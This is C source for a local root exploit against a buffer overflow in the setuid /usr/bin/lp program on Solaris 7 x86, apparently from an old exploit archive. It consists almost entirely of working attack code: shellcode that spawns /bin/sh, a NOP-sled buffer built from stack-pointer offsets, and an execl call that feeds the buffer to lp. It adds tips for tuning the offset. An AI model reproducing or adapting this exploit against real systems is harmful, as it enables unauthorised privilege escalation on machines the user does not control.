/* Setuid proggie /usr/bin/lp has an easily exploitable buffer overflow. This exploit is for Solaris 7 x86 version */ /* * * solaris 2.7 /usr/bin/lp local exploit, i386. * * discovered by DiGiT. * try offset 150-250 if sploit fails * * greets: #!ADM, #!security.is, #hax, duke * * DiGiT - teddi@linux.is * */ #include #include char shellcode[] = "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4" "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf" "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff" "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53" "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff"; #define BUFSIZE 1100 long get_esp() { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char buff[BUFSIZE]; int nopcount=501, offset=260; int i; if (argc > 1) offset = atoi(argv[1]); if (argc > 2) nopcount = atoi(argv[2]); memset (buff, 0x90, BUFSIZE); for (i = nopcount; i < BUFSIZE - 4; i += 4) *(long *) &buff[i] = get_esp() + offset; memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen (shellcode)); memcpy (buff, ":", 1); printf("Addr = 0x%x\n", get_esp() + offset); execl("/usr/bin/lp", "lp", "-d", buff, "-p", "/tmp/ps_data",NULL);

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